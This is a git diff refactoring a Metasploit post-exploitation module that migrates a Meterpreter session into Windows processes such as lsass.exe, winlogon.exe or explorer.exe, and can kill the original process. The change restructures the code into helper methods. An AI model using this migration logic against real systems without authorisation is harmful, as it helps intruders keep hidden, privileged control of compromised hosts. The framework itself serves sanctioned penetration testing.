diff --git a/modules/post/windows/manage/priv_migrate.rb b/modules/post/windows/manage/priv_migrate.rb index 72e2114373..d22ac915c1 100644 --- a/modules/post/windows/manage/priv_migrate.rb +++ b/modules/post/windows/manage/priv_migrate.rb @@ -10,6 +10,9 @@ class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv + DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'winlogon.exe', 'wininit.exe', 'lsm.exe', 'lsass.exe' ] + DEFAULT_USER_TARGETS = [ 'explorer.exe', 'notepad.exe' ] + def initialize(info={}) super( update_info( info, 'Name' => 'Windows Manage Privilege Based Process Migration ', @@ -36,61 +39,20 @@ class Metasploit3 < Msf::Post end def run - # Populate target arrays - admin_targets = [] - admin_targets << datastore['ANAME'] if datastore['ANAME'] - admin_targets << "services.exe" << "winlogon.exe" << "wininit.exe" << "lsm.exe" << "lsass.exe" - - user_targets = [] - user_targets << datastore['NAME'] if datastore['NAME'] - user_targets << "explorer.exe" << "notepad.exe" - # Get current process information - original_pid = client.sys.process.open.pid - original_name = client.sys.process.open.name - print_status("Current session process is #{original_name} (#{original_pid}) as: #{client.sys.config.getuid}") - - # Admin level migration starts here - if is_admin? - if !is_system? - print_status("Session is Admin but not System.") - print_status("Will attempt to migrate to a System level process.") - else - print_status("Session is already Admin and System.") - print_status("Will attempt to migrate to specified System level process.") - end - - # Try to migrate to each of the System level processes in the list. Stop when one works. Go to User level migration if none work. - admin_targets.each do |target_name| - if migrate(get_pid(target_name), target_name, original_pid) - kill(original_pid, original_name) if datastore['KILL'] - return - end - end - print_error("Unable to migrate to any of the System level processes.") - else - print_status("Session has User level rights.") - end - - # User level migration starts here - print_status("Will attempt to migrate to a User level process.") - - # Try to migrate to user level processes in the list. If it does not exist or cannot migrate, try spawning it then migrating. - user_targets.each do |target_name| - if migrate(get_pid(target_name), target_name, original_pid) - kill(original_pid, original_name) if datastore['KILL'] - return - end - - if migrate(spawn(target_name), target_name, original_pid) - kill(original_pid, original_name) if datastore['KILL'] - return - end + @original_pid = client.sys.process.open.pid + @original_name = client.sys.process.open.name + print_status("Current session process is #{@original_name} (#{@original_pid}) as: #{client.sys.config.getuid}") + unless migrate_admin + migrate_user end end # This function returns the first process id of a process with the name provided. # Note: "target_pid = session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module. + # + # @return [Fixnum] the PID if one is found + # @return [NilClass] if no PID was found def get_pid(proc_name) processes = client.sys.process.get_processes processes.each do |proc| @@ -99,7 +61,26 @@ class Metasploit3 < Msf::Post return nil end + # This function will try to kill the original session process + # + # @return [void] A useful return value is not expected here + def kill(proc_pid, proc_name) + if datastore['KILL'] + begin + print_status("Trying to kill original process #{proc_name} (#{proc_pid})") + session.sys.process.kill(proc_pid) + print_good("Successfully killed process #{proc_name} (#{proc_pid})") + rescue ::Rex::Post::Meterpreter::RequestError => error + print_error("Could not kill original process #{proc_name} (#{proc_pid})") + print_error(error.to_s) + end + end + end + # This function attempts to migrate to the specified process. + # + # @return [TrueClass] if it successfully migrated + # @return [FalseClass] if it failed to migrate def migrate(target_pid, proc_name, current_pid) if !target_pid print_error("Could not migrate to #{proc_name}.") @@ -124,7 +105,66 @@ class Metasploit3 < Msf::Post end end + # Attempts to migrate into one of the Target Admin Processes. + # + # @return [TrueClass] if it successfully migrated + # @return [FalseClass] if it failed to migrate + def migrate_admin + if is_admin? + # Populate target array + admin_targets = DEFAULT_ADMIN_TARGETS.dup + admin_targets.unshift(datastore['ANAME']) if datastore['ANAME'] + + if is_system? + print_status("Session is already Admin and System.") + else + print_status("Session is Admin but not System.") + end + print_status("Will attempt to migrate to specified System level process.") + + # Try to migrate to each of the System level processes in the list. Stop when one works. Go to User level migration if none work. + admin_targets.each do |target_name| + if migrate(get_pid(target_name), target_name, @original_pid) + kill(@original_pid, @original_name) + return true + end + end + print_error("Unable to migrate to any of the System level processes.") + else + print_status("Session has User level rights.") + end + false + end + + # Attempts to migrate to one of the Target User Processes + # + # @return [TrueClass] if it successfully migrated + # @return [FalseClass] if it failed to migrate + def migrate_user + # Populate Target Array + user_targets = DEFAULT_USER_TARGETS.dup + user_targets.unshift(datastore['NAME']) if datastore['NAME'] + print_status("Will attempt to migrate to a User level process.") + + # Try to migrate to user level processes in the list. If it does not exist or cannot migrate, try spawning it then migrating. + user_targets.each do |target_name| + if migrate(get_pid(target_name), target_name, @original_pid) + kill(@original_pid, @original_name) + return true + end + + if migrate(spawn(target_name), target_name, @original_pid) + kill(@original_pid, @original_name) + return true + end + end + false + end + # This function will attempt to spawn a new process of the type provided by the name. + # + # @return [Fixnum] the PID if the process spawned successfully + # @return [NilClass] if the spawn failed def spawn(proc_name) begin print_status("Attempting to spawn #{proc_name}") @@ -137,17 +177,5 @@ class Metasploit3 < Msf::Post return nil end end - - # This function will try to kill the original session process - def kill(proc_pid, proc_name) - begin - print_status("Trying to kill original process #{proc_name} (#{proc_pid})") - session.sys.process.kill(proc_pid) - print_good("Successfully killed process #{proc_name} (#{proc_pid})") - rescue ::Rex::Post::Meterpreter::RequestError => error - print_error("Could not kill original process #{proc_name} (#{proc_pid})") - print_error(error.to_s) - end - end end